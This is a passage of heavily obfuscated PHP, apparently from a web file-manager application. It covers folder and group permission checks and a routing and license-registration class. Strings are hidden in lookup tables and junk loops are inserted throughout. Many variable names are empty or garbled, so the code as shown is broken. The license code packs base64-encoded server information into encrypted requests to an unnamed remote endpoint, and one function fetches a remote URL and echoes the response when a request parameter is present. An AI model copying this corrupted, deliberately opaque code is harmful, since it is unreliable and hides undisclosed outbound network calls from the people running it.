$ = $χ->getInfo($Ȼ); $ڞ[] = $[$Ւ[87]][$Ւ[403]]; $[$Ȼ] = $[$Ւ[87]][$Ւ[403]]; $֑[$Ȼ] = $->parentLevelArray($[$Ւ[521]]); } foreach ($š as $ => $) { $ = $[$]; if (!$ || !$[$]) { continue; } $ݚ = array(); foreach ($֑[$] as $Ȼ) { $ݚ[] = $[$Ȼ]; } $š[$] = array_merge($ݚ, $); } $ڞ = array_values(array_unique($ڞ)); $ = array($Ւ[1993] => $ڞ, $Ւ[1994] => $š); $[$ř䋅] = $; return $; } private function makeSourceAuth($, $܌, $޵ = false) { $ߣ =& $_SERVER[]; $†´ = $ߣ[89]; $ = $[$ߣ[504]]; $Ӫ = $[$ߣ[412]] == SourceModel::TYPE_GROUP; $ = $Ӫ ? $this->groupRootAuth($, $޵) : !1; if ($ && Model($ߣ[507])->authCheckAction($[$ߣ[414]], $ߣ[1830])) { return $this->groupAuthInfo($, $); } $ږ = Model($ߣ[1312])->parentLevelArray($[$ߣ[521]]); $ږ = array_merge(array($[$ߣ[403]]), array_reverse($ږ)); $ = !1; foreach ($ږ as $ê) { if (!isset($܌[$ê])) { continue; } $裀 = $this->authMake($܌[$ê], $޵); if ($裀[$ߣ[466]]) { $ = $裀; break; } } if (!$Ӫ) { return $; } if (!$ && $) { $ = $this->groupAuthInfo($, $); } if (!$) { $ŕ = Model($ߣ[522])->getInfo($); $̜ = explode($ߣ[50], trim($ŕ[$ߣ[521]], $ߣ[50])); $̜ = array_reverse($̜); foreach ($̜ as $ъ) { if ($ъ == $ߣ[190] || $ъ == $†´) { continue; } $𢤮 = $this->groupRootAuth($ъ, $޵); if (!$𢤮) { continue; } $ = $this->groupAuthInfo($𢤮, $ъ); break; } } if (!$ || $[$ߣ[415]] <= 0) { $ڠ = $this->authDeepCheck($[$ߣ[403]], $޵); if ($ڠ) { $ = $ڠ; } } return $; } private function userIsRoot($ = false) { $䪺 =& $_SERVER[]; if (!$ && _get($GLOBALS, $䪺[505])) { return !0; } $͒ = Model($䪺[538])->getInfo($); $ = Model($䪺[2002])->listData($͒[$䪺[1519]]); if ($ && $[$䪺[511]][$䪺[2003]] == 1) { return !0; } return !1; } private function sourceAuthInfo($) { $і⥴ =& $_SERVER[]; $ܐ = Model($і⥴[1312]); $ = $ܐ->sourceInfo($); if (!$) { return !1; } $ܐ->groupPathDisplay($); $ = array($); $ = $ܐ->_listAppendPath($); $ = $[0]; $؟ = $[$і⥴[519]]; if (isset($[$і⥴[527]])) { $ϯ瘾 = explode($і⥴[8], trim($[$і⥴[519]], $і⥴[8])); array_shift($ϯ瘾); $؟ = $[$і⥴[525]] . $і⥴[2004] . implode($і⥴[8], $ϯ瘾); } return array($і⥴[421] => $[$і⥴[32]], $і⥴[78] => KodIO::make($[$і⥴[403]]), $і⥴[2005] => $؟); } private function groupAuthInfo($, $ȃ) { $˛ =& $_SERVER[]; $ا = Model($˛[522])->getInfo($ȃ); return array($˛[2006] => intval($[$˛[414]]), $˛[1990] => $, $˛[2007] => LNG($˛[2008]), $˛[1999] => array($˛[421] => $ا[$˛[32]], $˛[78] => KodIO::make($ا[$˛[87]][$˛[403]]), $˛[2005] => $ا[$˛[526]])); } protected function groupRootAuth($ﻃ, $Ƥ = false) { $ׁ =& $_SERVER[]; $Ƥ = $Ƥ ? $Ƥ : USER_ID; $ = $Ƥ . $ׁ[2009] . $ﻃ; static $ٲ = array(); if (isset($ٲ[$])) { return $ٲ[$]; } $ = Model($ׁ[522])->getInfo($ﻃ); $̼ = $this->userGroupList($Ƥ); $ = isset($̼[$ﻃ]) ? $̼[$ﻃ][$ׁ[414]] : !1; if ($ && Model($ׁ[507])->authCheckAction($[$ׁ[414]], $ׁ[1830])) { $ٲ[$] = $; return $; } $ܡ = $this->sourceAuthSelect($[$ׁ[87]][$ׁ[403]]); $ = $ܡ ? $this->authMake($ܡ, $Ƥ) : !1; $닽 = $ ? $[$ׁ[466]] : !1; $ٲ[$] = $닽 ? $닽 : $; return $ٲ[$]; } public function authOwnerApply($溳) { $̸Ҍ =& $_SERVER[]; if (empty($溳[$̸Ҍ[414]]) || isset($溳[$̸Ҍ[2010]]) && $溳[$̸Ҍ[2010]]) { return $溳; } if (AuthModel::authCheckRoot($溳[$̸Ҍ[414]][$̸Ҍ[415]])) { return $溳; } $ص = Model($̸Ҍ[1312])->parentLevelArray($溳[$̸Ҍ[521]]); $ص = array_merge(array($溳[$̸Ҍ[403]]), array_reverse($ص)); $颵 = $this->sourceAuthSelect($ص); $ = array(); $ͽ = array(); foreach ($颵 as $ => $߬) { $˴ = $this->authFolderOwnerUser($߬); $[$] = $˴; $ͽ = array_merge($ͽ, $˴[$̸Ҍ[594]]); if ($˴[$̸Ҍ[2011]]) { break; } } if (count($ͽ) == 0) { $ͽ = $this->authFolderOwnerGroup($溳[$̸Ҍ[504]]); } $ͽ = array_unique($ͽ); if (AuthModel::authCheckRoot($溳[$̸Ҍ[414]][$̸Ҍ[415]])) { $ͽ[] = USER_ID; } $溳[$̸Ҍ[414]][$̸Ҍ[2012]] = Model($̸Ҍ[513])->userListInfo($ͽ); return $溳; } private function authFolderOwnerGroup($) { $݊ =& $_SERVER[]; $ֵ = Model($݊[1899])->where(array($݊[1810] => $))->select(); $ = array(); if (!$ֵ) { return $; } foreach ($ֵ as $) { $潇 = $this->authInfo($); if (AuthModel::authCheckRoot($潇[$݊[414]])) { $[] = $[$݊[1642]]; } } return $; } private function authFolderOwnerUser($޿) { $Ƒ =& $_SERVER[]; $ = array(); $퇺 = !1; foreach ($޿ as $޺) { $٦ = $this->authInfo($޺); if ($޺[$Ƒ[504]] == $Ƒ[190]) { $퇺 = !0; } if ($޺[$Ƒ[412]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($٦[$Ƒ[414]])) { $[] = $޺[$Ƒ[504]]; } } } return array($Ƒ[594] => $, $Ƒ[2011] => $퇺); } public function authMake($, $ʷ = false) { $ݜ =& $_SERVER[]; $ۃ = $this->authArrayCheck($, $ʷ); if ($ۃ[$ݜ[2013]]) { $ۃ[$ݜ[2013]] = $this->sourceAuthInfo($ۃ[$ݜ[2013]]); } return $ۃ; } public function authArrayCheck($̈Ǟ, $۵ = false) { $ =& $_SERVER[]; if (!$̈Ǟ) { return array($[415] => 0, $[466] => !1); } $۵ = $۵ ? $۵ : USER_ID; $ = 0; $ = 0; $ɥ = 0; $ޭᶮ = 0; $ = 0; $앱ݡ = 0; $ = 1000; $ώ = 0; $ = 0; $ = 0; $ɸ = 0; $ = array($[403] => 0); foreach ($̈Ǟ as $) { $Ս = $this->authInfo($); if (!$Ս) { continue; } $Ýߧ = $[$[504]]; $׫ = intval($Ս[$[414]]); if ($[$[412]] == SourceModel::TYPE_USER && $Ýߧ == $۵) { $ = !0; $ɥ = $Ս; $ = $׫; } else { if ($[$[412]] == SourceModel::TYPE_GROUP && $this->groupContainUser($Ýߧ, $۵)) { $ޭᶮ = !0; $٩ = $this->groupStepToUserGroup($Ýߧ, $۵); if ($٩ < $) { $ = $٩; $ = $׫; $앱ݡ = $Ս; $ώ = $Ýߧ; } if ($٩ == $ && $׫ >= $) { $ = $׫; $앱ݡ = $Ս; $ώ = $Ýߧ; } } else { if ($Ýߧ == $[190]) { $ = !0; $ɸ = $Ս; $ = $׫; } } } } if ($) { $ם = $; $Ս = $ɥ; $ = LNG($[2014]); } else { if ($ޭᶮ) { $ם = $; $Ս = $앱ݡ; $⺂ = Model($[522])->getInfo($ώ); $ = $[159] . $⺂[$[526]] . $[2015] . LNG($[2016]); } else { if ($) { $ם = $; $Ս = $ɸ; $ = LNG($[1987]); } else { $ם = 0; $Ս = !1; $ = $[12]; } } } $ζ = array($[2006] => intval($ם), $[1990] => $Ս, $[2007] => $, $[1999] => $[$[403]]); return $ζ; } private function groupContainUser($, $ = false) { return in_array($, $this->userGroupParents($)); } private function groupStepToUserGroup($, $Ɗ = false) { $̜ޮ =& $_SERVER[]; $ = $this->userGroupList($Ɗ); $ = 1000; $ = $GLOBALS[$̜ޮ[6]][$̜ޮ[90]][$̜ޮ[1910]] == 1; $نލ = $ ? 3 : 2; foreach ($ as $) { if ($[$̜ޮ[1810]] == $) { return 0; } $꫗Ӗ = explode($̜ޮ[50], trim($[$̜ޮ[521]], $̜ޮ[50])); if ($꫗Ӗ[0] == $̜ޮ[190] && count($꫗Ӗ) > $نލ) { $ = array_reverse(array_slice($꫗Ӗ, $نލ)); $ϧȋ = array_search($, $); if ($ϧȋ !== !1 && $ϧȋ + 1 <= $) { $ = $ϧȋ + 1; } } } return $; } private function userGroupList($֫ = false) { $ =& $_SERVER[]; static $ = array(); if (isset($[$֫])) { return $[$֫]; } $ = Model($[538])->getInfo($֫); $[$֫] = array_to_keyvalue($[$[1988]], $[1810]); return $[$֫]; } public function userGroupParents($邹) { $۲ =& $_SERVER[]; static $ᳺֿ = array(); $邹 = $邹 ? $邹 : USER_ID; if (isset($ᳺֿ[$邹])) { return $ᳺֿ[$邹]; } $̯Γ = $this->userGroupList($邹); $ = array(); $ = $GLOBALS[$۲[6]][$۲[90]][$۲[1910]] == 1; $ܢ = $ ? 3 : 2; foreach ($̯Γ as $Ợ) { $ = array($Ợ[$۲[1810]]); $ʭ = explode($۲[50], trim($Ợ[$۲[521]], $۲[50])); if ($ʭ[0] == $۲[190] && count($ʭ) > $ܢ) { $ = array_slice($ʭ, $ܢ); $ = array_merge($, array_reverse($)); } $ = array_merge($, $); } $ᳺֿ[$邹] = array_unique($); return $ᳺֿ[$邹]; } public function authTargetInfoMake($) { $북 =& $_SERVER[]; $ = array(); $ꨱà = array(); foreach ($ as $Џ) { if ($Џ[$북[412]] == SourceModel::TYPE_USER) { $[] = intval($Џ[$북[504]]); } else { if ($Џ[$북[412]] == SourceModel::TYPE_GROUP) { $ꨱà[] = intval($Џ[$북[504]]); } } } if ($) { $ = Model($북[513])->userListInfo($); } if ($ꨱà) { $͇ = array($북[1897] => array($북[419], $ꨱà)); $ꨱà = Model($북[522])->field($북[2017])->where($͇)->select(); $ꨱà = array_to_keyvalue($ꨱà, $북[1810]); } return array($북[2018] => $, $북[2019] => $ꨱà); } public function authInfo($֤) { $̽ =& $_SERVER[]; if ($֤[$̽[1911]]) { $ݱ = Model($̽[507])->listData($֤[$̽[1911]]); if (!$ݱ) { return !1; $ = Model($̽[507])->listData(); $ʲ = array_filter_by_field($, $̽[414], $̽[190]); return $ʲ; } $ = array_field_key($ݱ, array($̽[401], $̽[32], $̽[414], $̽[1832], $̽[1833])); $[$̽[2020]] = $֤; return $; } else { return array($̽[420] => 0, $̽[1816] => $֤[$̽[1965]], $̽[421] => $̽[12], $̽[1832] => $̽[2021]); } } } goto f; Fڝ΍: while ($qtxmvhlzas < $_SERVER[][394]) { if ($qtxmvhlzas >= 0) { break; } $qtxmvhlzas++; } class Application { private $defaultModule = "\x69\156\144\x65\x78"; private $defaultController = "\151\156\x64\145\170"; private $defaultAction = "\151\156\x64\x65\x78"; function __construct() { } public function setDefault($) { $ˊ =& $_SERVER[]; $ =& $_SERVER[⼦]; $ށ = explode($[0], trim($, $[0])); $ծ닐 = $ˊ[611]; if (!$ծ닐) { return; } $this->defaultModule = $ށ[0] ? $ށ[0] : $this->defaultModule; $Ց = $ˊ[612]; while (strlen($Ց) < $ˊ[613]) { if (!$Ց) { break; } $Ց++; } $this->defaultController = $ށ[1] ? $ށ[1] : $this->defaultController; $ѫ = $ˊ[614]; if (!$ѫ) { die; } $this->defaultAction = $ށ[2] ? $ށ[2] : $this->defaultAction; $this->sfcv795af8c0($[1], array($this, $[2])); } public function appRun($) { $ =& $_SERVER[]; $ =& $_SERVER[⼦]; $ = explode($[0], $); $ = $[615]; $ = strtolower($[0]); $ = $[616]; if (strlen($) < $[617]) { die; } $ϳ = $[3]; $终 = $[618]; if ($ == $[4]) { $ϳ = $[5]; $[0] = $[6]; $[1] = $[1] . $[7]; $ = join($[0], $); $ = trim($, $[0]); } call_user_func(array($[8], $[9]), $ϳ . $[10], $); ActionCall($); $˄ܙ = $[619]; if (!$˄ܙ) { die; } call_user_func(array($[8], $[9]), $ϳ . $[11], $); $효 = $[620]; } private function autorun() { $̢ĸ =& $_SERVER[]; $ =& $_SERVER[⼦]; global $config; $Ў = $̢ĸ[621]; if (strlen($Ў) < $̢ĸ[394]) { die; } if (count($config[$[12]]) == 0) { return; } foreach ($config[$[12]] as $ => $Ő) { $this->appRun($Ő); } } private function lhsy4dda6e88() { $ =& $_SERVER[]; $֜ =& $_SERVER[⼦]; $ο = $֜[4]; $ٿ = $GLOBALS[$֜[13]][$֜[14]][0]; $ = $[622]; while ($ < $[617]) { if ($ >= 0) { break; } $++; } if (!$ٿ || strlen($ٿ) <= strlen($ο)) { return; } if (strtolower(substr($ٿ, -strlen($ο))) != $ο) { return; } $ٲ = substr($ٿ, 0, -strlen($ο)); $ = array($֜[4], $ٲ); $ = $[623]; if (strlen($) < $[624]) { return; } $׎ = array_slice($GLOBALS[$֜[13]][$֜[14]], 1); $ = $[625]; while (strlen($) < $[394]) { if (!$) { break; } $++; } $GLOBALS[$֜[13]][$֜[14]] = array_merge($, $׎); $GLOBALS[$֜[13]][$֜[15]] = implode($֜[0], $GLOBALS[$֜[13]][$֜[14]]); $ = $[626]; while (strlen($) < $[394]) { if (!$) { break; } $++; } } private function nhqya2e5b7c8() { $ݙ =& $_SERVER[]; $ִα =& $_SERVER[⼦]; if ($GLOBALS[$ִα[13]][$ִα[15]] != $ִα[6]) { return; } $ = $_SERVER[$ִα[16]]; $ˠī = $ִα[17]; if (!strstr($, $ˠī)) { return; } $ = strrpos($, $ˠī); $ϙ = substr($, $ + strlen($ˠī)); preg_match_all($ִα[18], $ϙ, $;); $ = $ݙ[627]; if (!$) { die; } $ϙ = trim($;[0][0], $ִα[19]); $GLOBALS[$ִα[13]][$ִα[14]] = explode($ִα[19], $ϙ); $ۂ = $ݙ[628]; if (!$ۂ) { die; } $GLOBALS[$ִα[13]][$ִα[15]] = implode($ִα[0], $GLOBALS[$ִα[13]][$ִα[14]]); } public function run() { $ե =& $_SERVER[]; $– =& $_SERVER[⼦]; $this->nhqya2e5b7c8(); $this->lhsy4dda6e88(); $̄ = $ե[629]; if (!$̄) { return; } $ = $GLOBALS[$–[13]][$–[14]]; $ݽ = $ե[630]; $桧 = $GLOBALS[$–[13]][$–[15]]; $Ȯ = $ե[631]; define($–[20], isset($[0]) && $[0] ? $[0] : $this->defaultModule); define($–[21], isset($[1]) && $[0] ? $[1] : $this->defaultController); $ = $ե[632]; if (strlen($) < $ե[624]) { return; } define($–[22], isset($[2]) && $[0] ? $[2] : $this->defaultAction); $̐ = $ե[633]; define($–[23], MOD . $–[0] . ST . $–[0] . ACT); $_SERVER[$–[24]] = strtolower(ACTION); $ŵ = $ե[634]; if (strlen($ŵ) < $ե[607]) { return; } $this->autorun(); if (count($) >= 3) { $this->appRun($桧); } else { $this->appRun(ACTION); } } private $vwzf0fa51ad4 = array(); private $lszh062d97ab = ''; public function wmcg504d019a() { $ؒ =& $_SERVER[]; $ᾝ =& $_SERVER[⼦]; $this->melw45cf347d(); $this->cwof82aafd8d(); $Ϲ = $ؒ[635]; while (strlen($Ϲ) < $ؒ[613]) { if (!$Ϲ) { break; } $Ϲ++; } $this->ebgd6fb01a3e(); $this->rhkmf25aadea(); $this->wvjz210bbddd(); $ = $ؒ[636]; while (strlen($) < $ؒ[394]) { if (!$) { break; } $++; } $this->gsxd9e5499b4(); $ = $ؒ[637]; if (!$) { die; } $this->cnkg90049c38(); $this->sfcv795af8c0($ᾝ[25], array($this, $ᾝ[26])); $this->sfcv795af8c0($ᾝ[27], array($this, $ᾝ[28])); $ = $ؒ[638]; $this->sfcv795af8c0($ᾝ[29], array($this, $ᾝ[30])); $ = $ؒ[639]; if (!$) { return; } $this->sfcv795af8c0($ᾝ[31], array($this, $ᾝ[32])); $ = $ؒ[640]; if (strlen($) < $ؒ[607]) { die; } } public function rtps9feced75($撻) { $ק =& $_SERVER[]; $ =& $_SERVER[⼦]; $ = Model($[33])->get(); $ = $ק[641]; if (!$) { die; } $ = array($[34], $[35], $[36], $[37], $[38], $[39], $[40], $[41], $[42], $[43], $[44], $[45], $[46], $[47], $[48], $[49], $[50], $[51], $[52], $[53], $[54], $[55], $[56], $[57], $[58], $[59], $[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71], $[72], $[73], $[74], $[75], $[76], $[77], $[78], $[79], $[80], $[81], $[82]); foreach ($ as $) { $Ś = $GLOBALS[$[83]][$[84]][$]; $񡩖ڻ = $ק[642]; if (!$񡩖ڻ) { return; } if (isset($[$])) { $Ś = $[$]; } $撻[$[85]][$[86]][$] = $Ś; } $ۭ = $撻[$[85]][$[86]][$[46]]; unset($撻[$[85]][$[87]][$[88]]); unset($撻[$[85]][$[87]][$[89]]); unset($撻[$[85]][$[86]][$[46]]); $ = $ק[643]; if (strlen($) < $ק[613]) { return; } unset($撻[$[85]][$[86]][$[90]]); $撻[$[85]][$[86]][$[91]] = array($[92] => (int) $ۭ[$[93]], $[94] => (int) _get($ۭ, $[95], 0)); $ҏ = $ק[644]; if (!$ҏ) { die; } $撻[$[96]][$[97]] = Action($[98])->accessToken(); $Ϭ = $ק[645]; if (strlen($Ϭ) < $ק[617]) { die; } $撻[$[96]][$[99]] = md5($_SERVER[$[100]] . $[$[101]]); $撻[$[96]][$[102]] = base64_encode(serverInfo()); $뤐 = $ק[646]; if (strlen($뤐) < $ק[624]) { die; } $撻[$[96]][$[103]] = $this->lszh062d97ab; if ($[$[103]] != $[104]) { $撻[$[96]][$[105]] = $[$[105]]; $撻[$[96]][$[106]] = $[$[106]]; $ޓ = rand_string(10) . $this->lszh062d97ab . rand_string(5); $撻[$[85]][$[107]][$[108]] = $this->zphbbfae25ca($ޓ, $撻[$[96]][$[99]]); } if ($this->lszh062d97ab == $[104]) { $撻[$[85]][$[86]][$[91]][$[95]] = 0; } $撻[$[96]][$[109]] = _get($this->vwzf0fa51ad4, $[110], $[6]); $撻[$[96]][$[111]] = _get($this->vwzf0fa51ad4, $[112], $[6]); if (_get($GLOBALS, $[113]) && $this->config[$[114]]) { $撻[$[96]][$[115]] = WEB_ROOT; } return $撻; } private function gsxd9e5499b4() { $̴벟 =& $_SERVER[]; $ӂ =& $_SERVER[⼦]; if ($_SERVER[$ӂ[24]] == $ӂ[116]) { $ޱ = array($ӂ[103] => $this->lszh062d97ab, $ӂ[117] => $this->hdxu117184c0(), $ӂ[118] => Model($ӂ[119])->count()); if ($this->lszh062d97ab != $ӂ[104]) { $ = _get($this->vwzf0fa51ad4, $ӂ[120]); if ($) { $ޱ[$ӂ[121]] = $; $ޱ[$ӂ[122]] = strtotime(_get($this->vwzf0fa51ad4, $ӂ[123])); $ޱ[$ӂ[124]] = _get($this->vwzf0fa51ad4, $ӂ[112]); } $㷬 = Model($ӂ[33])->get($ӂ[125], $ӂ[6], !0); if (is_string($㷬) && substr($㷬, 0, 1) == $ӂ[126]) { $㷬 = json_decode_force($㷬); } if (is_array($㷬) && $㷬[$ӂ[127]] && strstr($㷬[$ӂ[127]], $ӂ[128])) { $ᬻ = explode($ӂ[128], $㷬[$ӂ[127]]); $ޱ[$ӂ[129]] = $ᬻ[0]; } } $ޱ = $this->yasq46999d1f(json_encode($ޱ), md5($ӂ[130])); $ = $̴벟[647]; if (!$) { die; } $ڲڀ = array($ӂ[131] => $ޱ); call_user_func(array($ӂ[132], $ӂ[133]), $ڲڀ); } if ($this->lszh062d97ab == $ӂ[104]) { return; } $ = array($ӂ[134], $ӂ[135], $ӂ[136], $ӂ[137], $ӂ[138], $ӂ[139]); $͢ = Model($ӂ[33])->get(); $ަ = $̴벟[648]; if (!$ަ) { die; } $ڲڀ = array($ӂ[140] => $͢[$ӂ[34]], $ӂ[141] => $͢[$ӂ[35]], $ӂ[142] => $ӂ[6]); $ɘА = $̴벟[649]; if (strlen($ɘА) < $̴벟[394]) { die; } foreach ($ as $) { if (!isset($͢[$]) || !$͢[$]) { continue; } $ڲڀ[$] = $͢[$]; } call_user_func(array($ӂ[132], $ӂ[133]), $ڲڀ); } private function rhkmf25aadea() { $ =& $_SERVER[]; $񾈛 =& $_SERVER[⼦]; if ($_SERVER[$񾈛[24]] != $񾈛[143]) { return; } if (!_get($GLOBALS, $񾈛[113])) { die; } $ = $GLOBALS[$񾈛[13]]; if (isset($[$񾈛[144]])) { $this->fnuo1fb2d5cf(); die; } if (!isset($[$񾈛[145]]) || strlen($[$񾈛[145]]) != 16) { show_json($񾈛[146] . $[$񾈛[145]], !1); } $򣋅 = Model($񾈛[33])->get($񾈛[101]); $вµ = md5($_SERVER[$񾈛[100]] . $򣋅); $ڰۉ = array($񾈛[145] => $[$񾈛[145]], $񾈛[147] => rand_string(16), $񾈛[148] => $񾈛[130], $񾈛[149] => $񾈛[150], $񾈛[151] => $_SERVER[$񾈛[152]], $񾈛[153] => $_SERVER[$񾈛[154]], $񾈛[155] => $_SERVER[$񾈛[156]], $񾈛[99] => $вµ, $񾈛[157] => Model($񾈛[33])->get($񾈛[125])); $ = $[650]; if (strlen($) < $[617]) { die; } if ($[$񾈛[158]] == $񾈛[159]) { $л = $this->yasq46999d1f($вµ, $񾈛[160]); $Ö = $this->zphbbfae25ca(json_encode($ڰۉ), $вµ . $񾈛[161], 3); $Ö = $Ö . $񾈛[162] . $_SERVER[$񾈛[152]]; $ϥ = $this->vfna16763856($񾈛[163] . $л . $񾈛[164] . $Ö, -1); show_json($ϥ, !0); } else { if ($[$񾈛[158]] == $񾈛[165]) { $ = substr(md5($񾈛[166] . $вµ), 12, 15) . $񾈛[167]; $Ö = $this->clzsecc6a5df(trim($[$񾈛[168]]), $, 2); $ = json_decode($Ö, !0); if (!is_array($) || !is_array($[$񾈛[169]]) || $[$񾈛[145]] != !0) { $ = $񾈛[170]; $ά = $[$񾈛[169]] ? $񾈛[171] . $[$񾈛[169]] : $; show_json($ά, !1); } else { $ڰۉ[$񾈛[147]] = $[$񾈛[169]][$񾈛[172]]; } } else { $ = $this->vfna16763856($񾈛[173], $ڰۉ, 10); } } if (!is_array($) || !is_array($[$񾈛[169]]) || $[$񾈛[145]] != !0) { $ = LNG($񾈛[174]); $ά = $[$񾈛[169]] ? $񾈛[171] . $[$񾈛[169]] : $; show_json($ά, !1); } $ = $[$񾈛[169]]; $并 = $this->oudff095d4ba($[$񾈛[175]]); if (!$并 || $并 != $[$񾈛[123]]) { $ʗ = array($񾈛[176] => Model($񾈛[33])->get($񾈛[101]), $񾈛[177] => $_SERVER[$񾈛[100]], $񾈛[178] => this_url(), $񾈛[153] => $_SERVER[$񾈛[154]]); $Ö = $this->nmyp731ec7bd(json_encode($ʗ)); $this->vfna16763856($񾈛[179] . $Ö); show_json(LNG($񾈛[180]), !0); } $멱 = array($񾈛[181] => $[$񾈛[182]], $񾈛[183] => $[$񾈛[184]], $񾈛[185] => rand_string(16), $񾈛[103] => $[$񾈛[186]]); if ($ڰۉ[$񾈛[147]]) { $멱[$񾈛[185]] = $ڰۉ[$񾈛[147]]; } $ʥ͔ = substr(md5($멱[$񾈛[183]]), 10, 10); $ = $ʥ͔ . $멱[$񾈛[103]] . $멱[$񾈛[185]]; $ = $[651]; while ($ < $[624]) { if ($ >= 0) { break; } $++; } $멱[$񾈛[105]] = strrev(base64_encode($this->yasq46999d1f($, $񾈛[187]))); $޺ = rand_string(16); $߼ = $[652]; $ = $޺ . $멱[$񾈛[103]] . $this->yasq46999d1f(md5($멱[$񾈛[181]]), $޺); $멱[$񾈛[106]] = base64_encode(strrev($this->yasq46999d1f($, $񾈛[188]))); if ($[$񾈛[189]] && $[$񾈛[189]] >= 1) { Model($񾈛[33])->setDeep($񾈛[190], $񾈛[191]); } Model($񾈛[33])->set($멱); $ = md5($_SERVER[$񾈛[100]] . strrev($򣋅) . $멱[$񾈛[183]]); $ = strrev(substr($, 10, 16)); $ב۞ = $[653]; if (!$ב۞) { return; } $ = $this->zphbbfae25ca(json_encode($), $); $ޱ = $[654]; $Ƥ = array_to_keyvalue(Model($񾈛[7])->listData(), $񾈛[192]); $䢁׶ = $[655]; if (strlen($䢁׶) < $[607]) { return; } $Π = $Ƥ[$񾈛[193]]; $ = array(); $[$] = $; Model($񾈛[7])->update($Π[$񾈛[194]], array($񾈛[195] => $)); $ = $[656]; if (strlen($) < $[394]) { die; } $this->vwzf0fa51ad4 = $; $this->lszh062d97ab = $멱[$񾈛[103]]; $ = $[657]; if (!$) { die; } $this->licenseRegistSuccess(); $ړ = $[658]; if (strlen($ړ) < $[394]) { die; } Cache::set($񾈛[196] . md5($򣋅 . $񾈛[197]), $񾈛[6]); $ = $[659]; show_json(LNG($񾈛[180]), !0); } private function licenseRegistSuccess() { $֏ =& $_SERVER[⼦]; $魉 = Model($֏[33])->get(); if ($魉[$֏[63]] != $֏[191]) { Model($֏[33])->set($֏[63], $֏[191]); } Action($֏[198])->initStart(!0); } private function fnuo1fb2d5cf() { $ =& $_SERVER[]; $ā =& $_SERVER[⼦]; Model($ā[33])->set(array($ā[181] => $ā[6], $ā[183] => $ā[6], $ā[103] => $ā[104], $ā[105] => $ā[6], $ā[106] => $ā[6])); $ = $[660]; if (!$) { die; } Model($ā[33])->setDeep($ā[190], $ā[199]); $this->vwzf0fa51ad4 = array(); $this->lszh062d97ab = $ā[104]; $ׇ = $[661]; if (strlen($ׇ) < $[607]) { die; } } private function melw45cf347d() { $ =& $_SERVER[]; $ =& $_SERVER[⼦]; $_SERVER[$[154]] = _get($_SERVER, $[154], APP_HOST); $ = $[662]; if (!$) { die; } $this->lszh062d97ab = $[104]; $ = $[663]; if (!$) { return; } $ = Model($[33])->get(); $܀ = $[664]; if (strlen($܀) < $[613]) { die; } if ($[$[103]] == $[104]) { return; } $ = Model($[33])->get($[101]); $祐 = $[665]; if (!$祐) { die; } $ρ = $[196] . md5($ . $[197]); $Է = $[666]; if (strlen($Է) < $[607]) { return; } $㮟 = Cache::get($ρ); $׳ = $[667]; while (strlen($׳) < $[617]) { if (!$׳) { break; } $׳++; } if (!is_array($㮟) || !isset($㮟[$[200]]) || time() - $㮟[$[200]] >= 60) { $Ȑܑ = Model($[7])->loadList(); $޿ﰒ = $Ȑܑ[$[193]]; $ = md5($_SERVER[$[100]] . strrev($) . $[$[183]]); $ = strrev(substr($, 10, 16)); $㮟 = $this->clzsecc6a5df($޿ﰒ[$[83]][$], $); $㮟 = json_decode($㮟, !0); } if (!is_array($㮟)) { return $this->fnuo1fb2d5cf(); } $ = strtotime($㮟[$[123]]); if (time() >= $) { return $this->fnuo1fb2d5cf(); } if (time() - $㮟[$[200]] > 20) { $㮟[$[200]] = time(); Cache::set($ρ, $㮟); } $this->vwzf0fa51ad4 = $㮟; $this->lszh062d97ab = $[$[103]]; } private function cwof82aafd8d() { $ =& $_SERVER[]; $ڜ =& $_SERVER[⼦]; $ɤ = $GLOBALS[$ڜ[13]]; $ݰڞ = $[668]; while ($ݰڞ < $[394]) { if ($ݰڞ >= 0) { break; } $ݰڞ++; } $ = $_SERVER[$ڜ[24]]; if ($ == $ڜ[201] && $this->lszh062d97ab == $ڜ[104]) { show_json(LNG($ڜ[202]), !1, $ڜ[203]); } $Ь = array($ڜ[204], $ڜ[205]); if (in_array($, $Ь)) { if ($this->lszh062d97ab == $ڜ[104] && isset($ɤ[$ڜ[206]])) { show_json(LNG($ڜ[202]), !1, $ڜ[203]); die; } $ = $this->hdxu117184c0(); if ($ != intval($ڜ[207])) { if ($ <= Model($ڜ[119])->count()) { show_json(LNG($ڜ[208]), !1, $ڜ[203]); die; } } } } private function ebgd6fb01a3e() { $ =& $_SERVER[]; $ߤ =& $_SERVER[⼦]; $˓ɡ = array($ߤ[116], $ߤ[209]); $ܼ = $[629]; if (!$ܼ) { die; } if (!_get($GLOBALS, $ߤ[113]) || !isset($_GET[$ߤ[210]])) { return; } if (!in_array($_SERVER[$ߤ[24]], $˓ɡ)) { return; } $Ʋΰ = $ߤ[211]; $Ʋΰ = $this->ojsw706dbb57($Ʋΰ, $ߤ[212]); $Ʒ = stream_context_create(array($ߤ[213] => array($ߤ[214] => $ߤ[215], $ߤ[216] => 3))); $ؖ = $[669]; if (strlen($ؖ) < $[613]) { return; } $؝ = @file_get_contents($Ʋΰ, !1, $Ʒ); header($ߤ[217]); $ţ = $[670]; while (strlen($ţ) < $[613]) { if (!$ţ) { break; } $ţ++; } if ($؝ && strstr($؝, $ߤ[218])) { echo $؝; } die; } public function myxrb13d68b1($) { $ݷ =& $_SERVER[]; $ =& $_SERVER[⼦]; if ($this->lszh062d97ab == $[219]) { return $; } $ = array($[220] => $[221], $[222] => $[221], $[223] => $[221], $[224] => $[221], $[225] => $[226], $[227] => $[226], $[228] => $[226], $[229] => $[226], $[230] => $[226], $[231] => $[226], $[232] => $[226], $[233] => $[226], $[234] => $[226], $[235] => $[226], $[236] => $[226], $[237] => $[226]); $ж = explode($[238], _get($this->vwzf0fa51ad4, $[110], $[6])); $ = $ݷ[671]; if (strlen($) < $ݷ[617]) { die; } $ = array(); $ݠ = $ݷ[672]; foreach ($ as $ => $ޔ) { if ($ޔ == $[221] && substr($this->lszh062d97ab, 0, 1) == $[221]) { continue; } if (!in_array($, $ж)) { $[] = $; } } foreach ($ as $) { unset($[$]); } return $; } private function cnkg90049c38() { $ =& $_SERVER[⼦]; if ($this->lszh062d97ab != $[104]) { $GLOBALS[$[83]][$[87]][$[239]] = $[199]; return; } $GLOBALS[$[83]][$[240]] = $[191]; if (Model($[241])->get($[63]) != $[199]) { Model($[241])->set($[63], $[199]); } } public function oirn3c9869c0() { $÷ =& $_SERVER[]; return $_SERVER[⼦][242]; $ʂ = $÷[673]; if 